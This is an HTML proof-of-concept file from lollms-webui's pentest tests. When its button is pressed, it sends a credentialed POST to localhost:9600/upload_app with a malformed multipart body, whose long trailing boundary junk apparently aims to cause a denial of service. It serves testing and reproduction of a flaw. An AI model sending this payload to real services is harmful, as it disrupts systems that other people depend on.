lollms-webui/tests/pentests/multipart_dos/dos_attack.html

30 lines
1.4 KiB
HTML
Raw Normal View History

<html>
<body>
<script>history.pushState('', '', '/')</script>
<script>
function submitRequest() {
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://localhost:9600/upload_app", true);
xhr.setRequestHeader("Accept", "application/json, text/plain, */*");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------30672353603658029961121811124");
xhr.withCredentials = true;
var body = "\r\n" +
"-----------------------------30672353603658029961121811124\r\n" +
"Content-Disposition: form-data; name=\"file\"; filename=\"M1F1-Alaw-AFsp.wav\"\r\n" +
"Content-Type: audio/wav\r\n" +
"\r\n" +
"dsadsdsa\r\n" +
"-----------------------------30672353603658029961121811124--Random-Characters-Or-Integers-Start-From-H-re9786452315697846512978645231569784651297864523156978465129786452315697846512978645231569784651297864523156978465129786452315697846512978645231569784651297864523156978465129786452";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>